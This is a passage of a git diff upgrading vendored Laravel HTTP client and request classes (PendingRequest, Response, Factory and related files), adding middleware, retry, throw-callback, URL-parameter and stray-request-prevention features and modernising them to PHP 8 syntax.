$this->globalMiddleware))->withOptions($this->globalOptions); } /** @@ -374,6 +433,16 @@ public function getDispatcher() return $this->dispatcher; } + /** + * Get the array of global middleware. + * + * @return array + */ + public function getGlobalMiddleware() + { + return $this->globalMiddleware; + } + /** * Execute a method against a new pending request instance. * @@ -388,7 +457,7 @@ public function __call($method, $parameters) } return tap($this->newPendingRequest(), function ($request) { - $request->stub($this->stubCallbacks); + $request->stub($this->stubCallbacks)->preventStrayRequests($this->preventStrayRequests); })->{$method}(...$parameters); } } diff --git a/vendor/illuminate/http/Client/PendingRequest.php b/vendor/illuminate/http/Client/PendingRequest.php index fdf5f06d4..5dbb9dad8 100644 --- a/vendor/illuminate/http/Client/PendingRequest.php +++ b/vendor/illuminate/http/Client/PendingRequest.php @@ -2,22 +2,31 @@ namespace Illuminate\Http\Client; +use Closure; +use Exception; use GuzzleHttp\Client; use GuzzleHttp\Cookie\CookieJar; use GuzzleHttp\Exception\ConnectException; use GuzzleHttp\Exception\RequestException; use GuzzleHttp\Exception\TransferException; use GuzzleHttp\HandlerStack; +use GuzzleHttp\Middleware; +use GuzzleHttp\UriTemplate\UriTemplate; +use Illuminate\Contracts\Support\Arrayable; use Illuminate\Http\Client\Events\ConnectionFailed; use Illuminate\Http\Client\Events\RequestSending; use Illuminate\Http\Client\Events\ResponseReceived; use Illuminate\Support\Arr; use Illuminate\Support\Collection; use Illuminate\Support\Str; +use Illuminate\Support\Stringable; use Illuminate\Support\Traits\Conditionable; use Illuminate\Support\Traits\Macroable; +use JsonSerializable; +use OutOfBoundsException; use Psr\Http\Message\MessageInterface; use Psr\Http\Message\RequestInterface; +use RuntimeException; use Symfony\Component\VarDumper\VarDumper; class PendingRequest @@ -38,6 +47,13 @@ class PendingRequest */ protected $client; + /** + * The Guzzle HTTP handler. + * + * @var callable + */ + protected $handler; + /** * The base URL for the request. * @@ -45,6 +61,13 @@ class PendingRequest */ protected $baseUrl = ''; + /** + * The parameters that can be substituted into the URL. + * + * @var array + */ + protected $urlParameters = []; + /** * The request body format. * @@ -55,7 +78,7 @@ class PendingRequest /** * The raw body for the request. * - * @var string + * @var \Psr\Http\Message\StreamInterface|string */ protected $pendingBody; @@ -76,7 +99,7 @@ class PendingRequest /** * The transfer stats for the request. * - * \GuzzleHttp\TransferStats + * @var \GuzzleHttp\TransferStats */ protected $transferStats; @@ -87,6 +110,20 @@ class PendingRequest */ protected $options = []; + /** + * A callback to run when throwing if a server or client error occurs. + * + * @var \Closure + */ + protected $throwCallback; + + /** + * A callback to check if an exception should be thrown when a server or client error occurs. + * + * @var \Closure + */ + protected $throwIfCallback; + /** * The number of times to try the request. * @@ -97,10 +134,17 @@ class PendingRequest /** * The number of milliseconds to wait between retries. * - * @var int + * @var Closure|int */ protected $retryDelay = 100; + /** + * Whether to throw an exception when all retries fail. + * + * @var bool + */ + protected $retryThrow = true; + /** * The callback that will determine if the request should be retried. * @@ -122,6 +166,13 @@ class PendingRequest */ protected $stubCallbacks; + /** + * Indicates that an exception should be thrown if any request is not faked. + * + * @var bool + */ + protected $preventStrayRequests = false; + /** * The middleware callables added by users that will handle requests. * @@ -168,17 +219,20 @@ class PendingRequest * Create a new HTTP Client instance. * * @param \Illuminate\Http\Client\Factory|null $factory + * @param array $middleware * @return void */ - public function __construct(Factory $factory = null) + public function __construct(Factory $factory = null, $middleware = []) { $this->factory = $factory; - $this->middleware = new Collection; + $this->middleware = new Collection($middleware); $this->asJson(); $this->options = [ + 'connect_timeout' => 10, 'http_errors' => false, + 'timeout' => 30, ]; $this->beforeSendingCallbacks = collect([function (Request $request, array $options, PendingRequest $pendingRequest) { @@ -205,11 +259,11 @@ public function baseUrl(string $url) /** * Attach a raw body to the request. * - * @param string $content + * @param \Psr\Http\Message\StreamInterface|string $content * @param string $contentType * @return $this */ - public function withBody($content, $contentType) + public function withBody($content, $contentType = 'application/json') { $this->bodyFormat('body'); @@ -289,11 +343,26 @@ public function asMultipart() */ public function bodyFormat(string $format) { - return tap($this, function ($request) use ($format) { + return tap($this, function () use ($format) { $this->bodyFormat = $format; }); } + /** + * Set the given query parameters in the request URI. + * + * @param array $parameters + * @return $this + */ + public function withQueryParameters(array $parameters) + { + return tap($this, function () use ($parameters) { + $this->options = array_merge_recursive($this->options, [ + 'query' => $parameters, + ]); + }); + } + /** * Specify the request's content type. * @@ -302,7 +371,9 @@ public function bodyFormat(string $format) */ public function contentType(string $contentType) { - return $this->withHeaders(['Content-Type' => $contentType]); + $this->options['headers']['Content-Type'] = $contentType; + + return $this; } /** @@ -334,13 +405,38 @@ public function accept($contentType) */ public function withHeaders(array $headers) { - return tap($this, function ($request) use ($headers) { - return $this->options = array_merge_recursive($this->options, [ + return tap($this, function () use ($headers) { + $this->options = array_merge_recursive($this->options, [ 'headers' => $headers, ]); }); } + /** + * Add the given header to the request. + * + * @param string $name + * @param mixed $value + * @return $this + */ + public function withHeader($name, $value) + { + return $this->withHeaders([$name => $value]); + } + + /** + * Replace the given headers on the request. + * + * @param array $headers + * @return $this + */ + public function replaceHeaders(array $headers) + { + $this->options['headers'] = array_merge($this->options['headers'] ?? [], $headers); + + return $this; + } + /** * Specify the basic authentication username and password for the request. * @@ -350,8 +446,8 @@ public function withHeaders(array $headers) */ public function withBasicAuth(string $username, string $password) { - return tap($this, function ($request) use ($username, $password) { - return $this->options['auth'] = [$username, $password]; + return tap($this, function () use ($username, $password) { + $this->options['auth'] = [$username, $password]; }); } @@ -364,8 +460,8 @@ public function withBasicAuth(string $username, string $password) */ public function withDigestAuth($username, $password) { - return tap($this, function ($request) use ($username, $password) { - return $this->options['auth'] = [$username, $password, 'digest']; + return tap($this, function () use ($username, $password) { + $this->options['auth'] = [$username, $password, 'digest']; }); } @@ -378,21 +474,34 @@ public function withDigestAuth($username, $password) */ public function withToken($token, $type = 'Bearer') { - return tap($this, function ($request) use ($token, $type) { - return $this->options['headers']['Authorization'] = trim($type.' '.$token); + return tap($this, function () use ($token, $type) { + $this->options['headers']['Authorization'] = trim($type.' '.$token); }); } /** * Specify the user agent for the request. * - * @param string $userAgent + * @param string|bool $userAgent * @return $this */ public function withUserAgent($userAgent) { - return tap($this, function ($request) use ($userAgent) { - return $this->options['headers']['User-Agent'] = trim($userAgent); + return tap($this, function () use ($userAgent) { + $this->options['headers']['User-Agent'] = trim($userAgent); + }); + } + + /** + * Specify the URL parameters that can be substituted into the request URL. + * + * @param array $parameters + * @return $this + */ + public function withUrlParameters(array $parameters = []) + { + return tap($this, function () use ($parameters) { + $this->urlParameters = $parameters; }); } @@ -405,13 +514,26 @@ public function withUserAgent($userAgent) */ public function withCookies(array $cookies, string $domain) { - return tap($this, function ($request) use ($cookies, $domain) { - return $this->options = array_merge_recursive($this->options, [ + return tap($this, function () use ($cookies, $domain) { + $this->options = array_merge_recursive($this->options, [ 'cookies' => CookieJar::fromArray($cookies, $domain), ]); }); } + /** + * Specify the maximum number of redirects to allow. + * + * @param int $max + * @return $this + */ + public function maxRedirects(int $max) + { + return tap($this, function () use ($max) { + $this->options['allow_redirects']['max'] = $max; + }); + } + /** * Indicate that redirects should not be followed. * @@ -419,8 +541,8 @@ public function withCookies(array $cookies, string $domain) */ public function withoutRedirecting() { - return tap($this, function ($request) { - return $this->options['allow_redirects'] = false; + return tap($this, function () { + $this->options['allow_redirects'] = false; }); } @@ -431,8 +553,8 @@ public function withoutRedirecting() */ public function withoutVerifying() { - return tap($this, function ($request) { - return $this->options['verify'] = false; + return tap($this, function () { + $this->options['verify'] = false; }); } @@ -444,8 +566,8 @@ public function withoutVerifying() */ public function sink($to) { - return tap($this, function ($request) use ($to) { - return $this->options['sink'] = $to; + return tap($this, function () use ($to) { + $this->options['sink'] = $to; }); } @@ -462,18 +584,33 @@ public function timeout(int $seconds) }); } + /** + * Specify the connect timeout (in seconds) for the request. + * + * @param int $seconds + * @return $this + */ + public function connectTimeout(int $seconds) + { + return tap($this, function () use ($seconds) { + $this->options['connect_timeout'] = $seconds; + }); + } + /** * Specify the number of times the request should be attempted. * - * @param int $times - * @param int $sleep + * @param array|int $times + * @param Closure|int $sleepMilliseconds * @param callable|null $when + * @param bool $throw * @return $this */ - public function retry(int $times, int $sleep = 0, ?callable $when = null) + public function retry(array|int $times, Closure|int $sleepMilliseconds = 0, ?callable $when = null, bool $throw = true) { $this->tries = $times; - $this->retryDelay = $sleep; + $this->retryDelay = $sleepMilliseconds; + $this->retryThrow = $throw; $this->retryWhenCallback = $when; return $this; @@ -487,8 +624,8 @@ public function retry(int $times, int $sleep = 0, ?callable $when = null) */ public function withOptions(array $options) { - return tap($this, function ($request) use ($options) { - return $this->options = array_replace_recursive( + return tap($this, function () use ($options) { + $this->options = array_replace_recursive( array_merge_recursive($this->options, Arr::only($options, $this->mergableOptions)), $options ); @@ -508,6 +645,32 @@ public function withMiddleware(callable $middleware) return $this; } + /** + * Add new request middleware the client handler stack. + * + * @param callable $middleware + * @return $this + */ + public function withRequestMiddleware(callable $middleware) + { + $this->middleware->push(Middleware::mapRequest($middleware)); + + return $this; + } + + /** + * Add new response middleware the client handler stack. + * + * @param callable $middleware + * @return $this + */ + public function withResponseMiddleware(callable $middleware) + { + $this->middleware->push(Middleware::mapResponse($middleware)); + + return $this; + } + /** * Add a new "before sending" callback to the request. * @@ -521,6 +684,46 @@ public function beforeSending($callback) }); } + /** + * Throw an exception if a server or client error occurs. + * + * @param callable|null $callback + * @return $this + */ + public function throw(callable $callback = null) + { + $this->throwCallback = $callback ?: fn () => null; + + return $this; + } + + /** + * Throw an exception if a server or client error occurred and the given condition evaluates to true. + * + * @param callable|bool $condition + * @param callable|null $throwCallback + * @return $this + */ + public function throwIf($condition) + { + if (is_callable($condition)) { + $this->throwIfCallback = $condition; + } + + return $condition ? $this->throw(func_get_args()[1] ?? null) : $this; + } + + /** + * Throw an exception if a server or client error occurred and the given condition evaluates to false. + * + * @param bool $condition + * @return $this + */ + public function throwUnless($condition) + { + return $this->throwIf(! $condition); + } + /** * Dump the request before sending. * @@ -590,7 +793,7 @@ public function head(string $url, $query = null) * @param array $data * @return \Illuminate\Http\Client\Response */ - public function post(string $url, array $data = []) + public function post(string $url, $data = []) { return $this->send('POST', $url, [ $this->bodyFormat => $data, @@ -604,7 +807,7 @@ public function post(string $url, array $data = []) * @param array $data * @return \Illuminate\Http\Client\Response */ - public function patch($url, $data = []) + public function patch(string $url, $data = []) { return $this->send('PATCH', $url, [ $this->bodyFormat => $data, @@ -618,7 +821,7 @@ public function patch($url, $data = []) * @param array $data * @return \Illuminate\Http\Client\Response */ - public function put($url, $data = []) + public function put(string $url, $data = []) { return $this->send('PUT', $url, [ $this->bodyFormat => $data, @@ -632,7 +835,7 @@ public function put($url, $data = []) * @param array $data * @return \Illuminate\Http\Client\Response */ - public function delete($url, $data = []) + public function delete(string $url, $data = []) { return $this->send('DELETE', $url, empty($data) ? [] : [ $this->bodyFormat => $data, @@ -643,7 +846,7 @@ public function delete($url, $data = []) * Send a pool of asynchronous requests concurrently. * * @param callable $callback - * @return array + * @return array */ public function pool(callable $callback) { @@ -670,23 +873,13 @@ public function pool(callable $callback) */ public function send(string $method, string $url, array $options = []) { - $url = ltrim(rtrim($this->baseUrl, '/').'/'.ltrim($url, '/'), '/'); + if (! Str::startsWith($url, ['http://', 'https://'])) { + $url = ltrim(rtrim($this->baseUrl, '/').'/'.ltrim($url, '/'), '/'); + } - if (isset($options[$this->bodyFormat])) { - if ($this->bodyFormat === 'multipart') { - $options[$this->bodyFormat] = $this->parseMultipartBodyFormat($options[$this->bodyFormat]); - } elseif ($this->bodyFormat === 'body') { - $options[$this->bodyFormat] = $this->pendingBody; - } + $url = $this->expandUrlParameters($url); - if (is_array($options[$this->bodyFormat])) { - $options[$this->bodyFormat] = array_merge( - $options[$this->bodyFormat], $this->pendingFiles - ); - } - } else { - $options[$this->bodyFormat] = $this->pendingBody; - } + $options = $this->parseHttpOptions($options); [$this->pendingBody, $this->pendingFiles] = [null, []]; @@ -694,23 +887,95 @@ public function send(string $method, string $url, array $options = []) return $this->makePromise($method, $url, $options); } - return retry($this->tries ?? 1, function () use ($method, $url, $options) { + $shouldRetry = null; + + return retry($this->tries ?? 1, function ($attempt) use ($method, $url, $options, &$shouldRetry) { try { - return tap(new Response($this->sendRequest($method, $url, $options)), function ($response) { + return tap($this->newResponse($this->sendRequest($method, $url, $options)), function ($response) use ($attempt, &$shouldRetry) { $this->populateResponse($response); - if ($this->tries > 1 && ! $response->successful()) { - $response->throw(); - } - $this->dispatchResponseReceivedEvent($response); + + if (! $response->successful()) { + try { + $shouldRetry = $this->retryWhenCallback ? call_user_func($this->retryWhenCallback, $response->toException(), $this) : true; + } catch (Exception $exception) { + $shouldRetry = false; + + throw $exception; + } + + if ($this->throwCallback && + ($this->throwIfCallback === null || + call_user_func($this->throwIfCallback, $response))) { + $response->throw($this->throwCallback); + } + + if ($attempt < $this->tries && $shouldRetry) { + $response->throw(); + } + + if ($this->tries > 1 && $this->retryThrow) { + $response->throw(); + } + } }); } catch (ConnectException $e) { - $this->dispatchConnectionFailedEvent(); + $this->dispatchConnectionFailedEvent(new Request($e->getRequest())); throw new ConnectionException($e->getMessage(), 0, $e); } - }, $this->retryDelay ?? 100, $this->retryWhenCallback); + }, $this->retryDelay ?? 100, function ($exception) use (&$shouldRetry) { + $result = $shouldRetry ?? ($this->retryWhenCallback ? call_user_func($this->retryWhenCallback, $exception, $this) : true); + + $shouldRetry = null; + + return $result; + }); + } + + /** + * Substitute the URL parameters in the given URL. + * + * @param string $url + * @return string + */ + protected function expandUrlParameters(string $url) + { + return UriTemplate::expand($url, $this->urlParameters); + } + + /** + * Parse the given HTTP options and set the appropriate additional options. + * + * @param array $options + * @return array + */ + protected function parseHttpOptions(array $options) + { + if (isset($options[$this->bodyFormat])) { + if ($this->bodyFormat === 'multipart') { + $options[$this->bodyFormat] = $this->parseMultipartBodyFormat($options[$this->bodyFormat]); + } elseif ($this->bodyFormat === 'body') { + $options[$this->bodyFormat] = $this->pendingBody; + } + + if (is_array($options[$this->bodyFormat])) { + $options[$this->bodyFormat] = array_merge( + $options[$this->bodyFormat], $this->pendingFiles + ); + } + } else { + $options[$this->bodyFormat] = $this->pendingBody; + } + + return collect($options)->map(function ($value, $key) { + if ($key === 'json' && $value instanceof JsonSerializable) { + return $value; + } + + return $value instanceof Arrayable ? $value->toArray() : $value; + })->all(); } /** @@ -738,13 +1003,17 @@ protected function makePromise(string $method, string $url, array $options = []) { return $this->promise = $this->sendRequest($method, $url, $options) ->then(function (MessageInterface $message) { - return tap(new Response($message), function ($response) { + return tap($this->newResponse($message), function ($response) { $this->populateResponse($response); $this->dispatchResponseReceivedEvent($response); }); }) - ->otherwise(function (TransferException $e) { - return $e instanceof RequestException ? $this->populateResponse(new Response($e->getResponse())) : $e; + ->otherwise(function (OutOfBoundsException|TransferException $e) { + if ($e instanceof ConnectException) { + $this->dispatchConnectionFailedEvent(new Request($e->getRequest())); + } + + return $e instanceof RequestException && $e->hasResponse() ? $this->populateResponse($this->newResponse($e->getResponse())) : $e; }); } @@ -764,12 +1033,20 @@ protected function sendRequest(string $method, string $url, array $options = []) $laravelData = $this->parseRequestData($method, $url, $options); - return $this->buildClient()->$clientMethod($method, $url, $this->mergeOptions([ + $onStats = function ($transferStats) { + if (($callback = ($this->options['on_stats'] ?? false)) instanceof Closure) { + $transferStats = $callback($transferStats) ?: $transferStats; + } + + $this->transferStats = $transferStats; + }; + + $mergedOptions = $this->normalizeRequestOptions($this->mergeOptions([ 'laravel_data' => $laravelData, - 'on_stats' => function ($transferStats) { - $this->transferStats = $transferStats; - }, + 'on_stats' => $onStats, ], $options)); + + return $this->buildClient()->$clientMethod($method, $url, $mergedOptions); } /** @@ -782,6 +1059,10 @@ protected function sendRequest(string $method, string $url, array $options = []) */ protected function parseRequestData($method, $url, array $options) { + if ($this->bodyFormat === 'body') { + return []; + } + $laravelData = $options[$this->bodyFormat] ?? $options['query'] ?? []; $urlString = Str::of($url); @@ -796,7 +1077,30 @@ protected function parseRequestData($method, $url, array $options) $laravelData = is_array($parsedData) ? $parsedData : []; } - return $laravelData; + if ($laravelData instanceof JsonSerializable) { + $laravelData = $laravelData->jsonSerialize(); + } + + return is_array($laravelData) ? $laravelData : []; + } + + /** + * Normalize the given request options. + * + * @param array $options + * @return array + */ + protected function normalizeRequestOptions(array $options) + { + foreach ($options as $key => $value) { + $options[$key] = match (true) { + is_array($value) => $this->normalizeRequestOptions($value), + $value instanceof Stringable => $value->toString(), + default => $value, + }; + } + + return $options; } /** @@ -821,9 +1125,7 @@ protected function populateResponse(Response $response) */ public function buildClient() { - return $this->requestsReusableClient() - ? $this->getReusableClient() - : $this->createClient($this->buildHandlerStack()); + return $this->client ?? $this->createClient($this->buildHandlerStack()); } /** @@ -867,7 +1169,7 @@ public function createClient($handlerStack) */ public function buildHandlerStack() { - return $this->pushHandlers(HandlerStack::create()); + return $this->pushHandlers(HandlerStack::create($this->handler)); } /** @@ -880,12 +1182,13 @@ public function pushHandlers($handlerStack) { return tap($handlerStack, function ($stack) { $stack->push($this->buildBeforeSendingHandler()); - $stack->push($this->buildRecorderHandler()); - $stack->push($this->buildStubHandler()); $this->middleware->each(function ($middleware) use ($stack) { $stack->push($middleware); }); + + $stack->push($this->buildRecorderHandler()); + $stack->push($this->buildStubHandler()); }); } @@ -915,9 +1218,9 @@ public function buildRecorderHandler() $promise = $handler($request, $options); return $promise->then(function ($response) use ($request, $options) { - optional($this->factory)->recordRequestResponsePair( + $this->factory?->recordRequestResponsePair( (new Request($request))->withData($options['laravel_data']), - new Response($response) + $this->newResponse($response) ); return $response; @@ -942,6 +1245,10 @@ public function buildStubHandler() ->first(); if (is_null($response)) { + if ($this->preventStrayRequests) { + throw new RuntimeException('Attempted request to ['.(string) $request->getUri().'] without a matching fake.'); + } + return $handler($request, $options); } @@ -1007,7 +1314,7 @@ public function runBeforeSendingCallbacks($request, array $options) /** * Replace the given options with the current request options. * - * @param array $options + * @param array ...$options * @return array */ public function mergeOptions(...$options) @@ -1018,6 +1325,17 @@ public function mergeOptions(...$options) ); } + /** + * Create a new response instance using the given PSR response. + * + * @param \Psr\Http\Message\MessageInterface $response + * @return Response + */ + protected function newResponse($response) + { + return new Response($response); + } + /** * Register a stub callable that will intercept requests and be able to return stub responses. * @@ -1031,6 +1349,19 @@ public function stub($callback) return $this; } + /** + * Indicate that an exception should be thrown if any request is not faked. + * + * @param bool $prevent + * @return $this + */ + public function preventStrayRequests($prevent = true) + { + $this->preventStrayRequests = $prevent; + + return $this; + } + /** * Toggle asynchronicity in requests. * @@ -1061,7 +1392,7 @@ public function getPromise() */ protected function dispatchRequestSendingEvent() { - if ($dispatcher = optional($this->factory)->getDispatcher()) { + if ($dispatcher = $this->factory?->getDispatcher()) { $dispatcher->dispatch(new RequestSending($this->request)); } } @@ -1074,8 +1405,7 @@ protected function dispatchRequestSendingEvent() */ protected function dispatchResponseReceivedEvent(Response $response) { - if (! ($dispatcher = optional($this->factory)->getDispatcher()) || - ! $this->request) { + if (! ($dispatcher = $this->factory?->getDispatcher()) || ! $this->request) { return; } @@ -1085,12 +1415,13 @@ protected function dispatchResponseReceivedEvent(Response $response) /** * Dispatch the ConnectionFailed event if a dispatcher is available. * + * @param \Illuminate\Http\Client\Request $request * @return void */ - protected function dispatchConnectionFailedEvent() + protected function dispatchConnectionFailedEvent(Request $request) { - if ($dispatcher = optional($this->factory)->getDispatcher()) { - $dispatcher->dispatch(new ConnectionFailed($this->request)); + if ($dispatcher = $this->factory?->getDispatcher()) { + $dispatcher->dispatch(new ConnectionFailed($request)); } } @@ -1115,9 +1446,7 @@ public function setClient(Client $client) */ public function setHandler($handler) { - $this->client = $this->createClient( - $this->pushHandlers(HandlerStack::create($handler)) - ); + $this->handler = $handler; return $this; } diff --git a/vendor/illuminate/http/Client/Pool.php b/vendor/illuminate/http/Client/Pool.php index bedffcb1d..0704df332 100644 --- a/vendor/illuminate/http/Client/Pool.php +++ b/vendor/illuminate/http/Client/Pool.php @@ -39,12 +39,7 @@ class Pool public function __construct(Factory $factory = null) { $this->factory = $factory ?: new Factory(); - - if (method_exists(Utils::class, 'chooseHandler')) { - $this->handler = Utils::chooseHandler(); - } else { - $this->handler = \GuzzleHttp\choose_handler(); - } + $this->handler = Utils::chooseHandler(); } /** @@ -83,7 +78,7 @@ public function getRequests() * * @param string $method * @param array $parameters - * @return \Illuminate\Http\Client\PendingRequest + * @return \Illuminate\Http\Client\PendingRequest|\GuzzleHttp\Promise\Promise */ public function __call($method, $parameters) { diff --git a/vendor/illuminate/http/Client/Request.php b/vendor/illuminate/http/Client/Request.php index 0e493f1fa..b0e263700 100644 --- a/vendor/illuminate/http/Client/Request.php +++ b/vendor/illuminate/http/Client/Request.php @@ -4,7 +4,6 @@ use ArrayAccess; use Illuminate\Support\Arr; -use Illuminate\Support\Str; use Illuminate\Support\Traits\Macroable; use LogicException; @@ -194,7 +193,7 @@ protected function parameters() protected function json() { if (! $this->data) { - $this->data = json_decode($this->body(), true); + $this->data = json_decode($this->body(), true) ?? []; } return $this->data; @@ -218,7 +217,7 @@ public function isForm() public function isJson() { return $this->hasHeader('Content-Type') && - Str::contains($this->header('Content-Type')[0], 'json'); + str_contains($this->header('Content-Type')[0], 'json'); } /** @@ -229,7 +228,7 @@ public function isJson() public function isMultipart() { return $this->hasHeader('Content-Type') && - Str::contains($this->header('Content-Type')[0], 'multipart'); + str_contains($this->header('Content-Type')[0], 'multipart'); } /** @@ -261,8 +260,7 @@ public function toPsrRequest() * @param string $offset * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($offset) + public function offsetExists($offset): bool { return isset($this->data()[$offset]); } @@ -273,8 +271,7 @@ public function offsetExists($offset) * @param string $offset * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($offset) + public function offsetGet($offset): mixed { return $this->data()[$offset]; } @@ -288,8 +285,7 @@ public function offsetGet($offset) * * @throws \LogicException */ - #[\ReturnTypeWillChange] - public function offsetSet($offset, $value) + public function offsetSet($offset, $value): void { throw new LogicException('Request data may not be mutated using array access.'); } @@ -302,8 +298,7 @@ public function offsetSet($offset, $value) * * @throws \LogicException */ - #[\ReturnTypeWillChange] - public function offsetUnset($offset) + public function offsetUnset($offset): void { throw new LogicException('Request data may not be mutated using array access.'); } diff --git a/vendor/illuminate/http/Client/RequestException.php b/vendor/illuminate/http/Client/RequestException.php index fa4f41839..5dd37e306 100644 --- a/vendor/illuminate/http/Client/RequestException.php +++ b/vendor/illuminate/http/Client/RequestException.php @@ -2,6 +2,8 @@ namespace Illuminate\Http\Client; +use GuzzleHttp\Psr7\Message; + class RequestException extends HttpClientException { /** @@ -34,9 +36,7 @@ protected function prepareMessage(Response $response) { $message = "HTTP request returned status code {$response->status()}"; - $summary = class_exists(\GuzzleHttp\Psr7\Message::class) - ? \GuzzleHttp\Psr7\Message::bodySummary($response->toPsrResponse()) - : \GuzzleHttp\Psr7\get_message_body_summary($response->toPsrResponse()); + $summary = Message::bodySummary($response->toPsrResponse()); return is_null($summary) ? $message : $message .= ":\n{$summary}\n"; } diff --git a/vendor/illuminate/http/Client/Response.php b/vendor/illuminate/http/Client/Response.php index 703b3570d..b73dd8706 100644 --- a/vendor/illuminate/http/Client/Response.php +++ b/vendor/illuminate/http/Client/Response.php @@ -9,7 +9,7 @@ class Response implements ArrayAccess { - use Macroable { + use Concerns\DeterminesStatusCode, Macroable { __call as macroCall; } @@ -27,6 +27,20 @@ class Response implements ArrayAccess */ protected $decoded; + /** + * The request cookies. + * + * @var \GuzzleHttp\Cookie\CookieJar + */ + public $cookies; + + /** + * The transfer stats for the request. + * + * @var \GuzzleHttp\TransferStats|null + */ + public $transferStats; + /** * Create a new response instance. * @@ -71,7 +85,7 @@ public function json($key = null, $default = null) /** * Get the JSON decoded body of the response as an object. * - * @return object + * @return object|null */ public function object() { @@ -137,7 +151,7 @@ public function reason() */ public function effectiveUri() { - return optional($this->transferStats)->getEffectiveUri(); + return $this->transferStats?->getEffectiveUri(); } /** @@ -150,16 +164,6 @@ public function successful() return $this->status() >= 200 && $this->status() < 300; } - /** - * Determine if the response code was "OK". - * - * @return bool - */ - public function ok() - { - return $this->status() === 200; - } - /** * Determine if the response was a redirect. * @@ -170,26 +174,6 @@ public function redirect() return $this->status() >= 300 && $this->status() < 400; } - /** - * Determine if the response was a 401 "Unauthorized" response. - * - * @return bool - */ - public function unauthorized() - { - return $this->status() === 401; - } - - /** - * Determine if the response was a 403 "Forbidden" response. - * - * @return bool - */ - public function forbidden() - { - return $this->status() === 403; - } - /** * Determine if the response indicates a client or server error occurred. * @@ -252,7 +236,7 @@ public function cookies() */ public function handlerStats() { - return optional($this->transferStats)->getHandlerStats() ?? []; + return $this->transferStats?->getHandlerStats() ?? []; } /** @@ -315,14 +299,74 @@ public function throw() /** * Throw an exception if a server or client error occurred and the given condition evaluates to true. * - * @param bool $condition + * @param \Closure|bool $condition + * @param \Closure|null $throwCallback * @return $this * * @throws \Illuminate\Http\Client\RequestException */ public function throwIf($condition) { - return $condition ? $this->throw() : $this; + return value($condition, $this) ? $this->throw(func_get_args()[1] ?? null) : $this; + } + + /** + * Throw an exception if the response status code matches the given code. + * + * @param callable|int $statusCode + * @return $this + * + * @throws \Illuminate\Http\Client\RequestException + */ + public function throwIfStatus($statusCode) + { + if (is_callable($statusCode) && + $statusCode($this->status(), $this)) { + return $this->throw(); + } + + return $this->status() === $statusCode ? $this->throw() : $this; + } + + /** + * Throw an exception unless the response status code matches the given code. + * + * @param callable|int $statusCode + * @return $this + * + * @throws \Illuminate\Http\Client\RequestException + */ + public function throwUnlessStatus($statusCode) + { + if (is_callable($statusCode)) { + return $statusCode($this->status(), $this) ? $this : $this->throw(); + } + + return $this->status() === $statusCode ? $this : $this->throw(); + } + + /** + * Throw an exception if the response status code is a 4xx level code. + * + * @return $this + * + * @throws \Illuminate\Http\Client\RequestException + */ + public function throwIfClientError() + { + return $this->clientError() ? $this->throw() : $this; + } + + /** + * Throw an exception if the response status code is a 5xx level code. + * + * @return $this + * + * @throws \Illuminate\Http\Client\RequestException + */ + public function throwIfServerError() + { + return $this->serverError() ? $this->throw() : $this; } /** @@ -331,8 +375,7 @@ public function throwIf($condition) * @param string $offset * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($offset) + public function offsetExists($offset): bool { return isset($this->json()[$offset]); } @@ -343,8 +386,7 @@ public function offsetExists($offset) * @param string $offset * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($offset) + public function offsetGet($offset): mixed { return $this->json()[$offset]; } @@ -358,8 +400,7 @@ public function offsetGet($offset) * * @throws \LogicException */ - #[\ReturnTypeWillChange] - public function offsetSet($offset, $value) + public function offsetSet($offset, $value): void { throw new LogicException('Response data may not be mutated using array access.'); } @@ -372,8 +413,7 @@ public function offsetSet($offset, $value) * * @throws \LogicException */ - #[\ReturnTypeWillChange] - public function offsetUnset($offset) + public function offsetUnset($offset): void { throw new LogicException('Response data may not be mutated using array access.'); } diff --git a/vendor/illuminate/http/Client/ResponseSequence.php b/vendor/illuminate/http/Client/ResponseSequence.php index dcf8633a3..5925c03bc 100644 --- a/vendor/illuminate/http/Client/ResponseSequence.php +++ b/vendor/illuminate/http/Client/ResponseSequence.php @@ -44,15 +44,13 @@ public function __construct(array $responses) /** * Push a response to the sequence. * - * @param string|array $body + * @param string|array|null $body * @param int $status * @param array $headers * @return $this */ - public function push($body = '', int $status = 200, array $headers = []) + public function push($body = null, int $status = 200, array $headers = []) { - $body = is_array($body) ? json_encode($body) : $body; - return $this->pushResponse( Factory::response($body, $status, $headers) ); @@ -145,11 +143,11 @@ public function isEmpty() */ public function __invoke() { - if ($this->failWhenEmpty && count($this->responses) === 0) { + if ($this->failWhenEmpty && $this->isEmpty()) { throw new OutOfBoundsException('A request was made, but the response sequence is empty.'); } - if (! $this->failWhenEmpty && count($this->responses) === 0) { + if (! $this->failWhenEmpty && $this->isEmpty()) { return value($this->emptyResponse ?? Factory::response()); } diff --git a/vendor/illuminate/http/Concerns/CanBePrecognitive.php b/vendor/illuminate/http/Concerns/CanBePrecognitive.php new file mode 100644 index 000000000..54cd79d49 --- /dev/null +++ b/vendor/illuminate/http/Concerns/CanBePrecognitive.php @@ -0,0 +1,45 @@ +headers->has('Precognition-Validate-Only')) { + return $rules; + } + + return Collection::make($rules) + ->only(explode(',', $this->header('Precognition-Validate-Only'))) + ->all(); + } + + /** + * Determine if the request is attempting to be precognitive. + * + * @return bool + */ + public function isAttemptingPrecognition() + { + return $this->header('Precognition') === 'true'; + } + + /** + * Determine if the request is precognitive. + * + * @return bool + */ + public function isPrecognitive() + { + return $this->attributes->get('precognitive', false); + } +} diff --git a/vendor/illuminate/http/Concerns/InteractsWithFlashData.php b/vendor/illuminate/http/Concerns/InteractsWithFlashData.php index 6682e5427..a7dfa1c8d 100644 --- a/vendor/illuminate/http/Concerns/InteractsWithFlashData.php +++ b/vendor/illuminate/http/Concerns/InteractsWithFlashData.php @@ -2,17 +2,21 @@ namespace Illuminate\Http\Concerns; +use Illuminate\Database\Eloquent\Model; + trait InteractsWithFlashData { /** * Retrieve an old input item. * * @param string|null $key - * @param string|array|null $default + * @param \Illuminate\Database\Eloquent\Model|string|array|null $default * @return string|array|null */ public function old($key = null, $default = null) { + $default = $default instanceof Model ? $default->getAttribute($key) : $default; + return $this->hasSession() ? $this->session()->getOldInput($key, $default) : $default; } diff --git a/vendor/illuminate/http/Concerns/InteractsWithInput.php b/vendor/illuminate/http/Concerns/InteractsWithInput.php index ae8b6fe73..36dcec2fe 100644 --- a/vendor/illuminate/http/Concerns/InteractsWithInput.php +++ 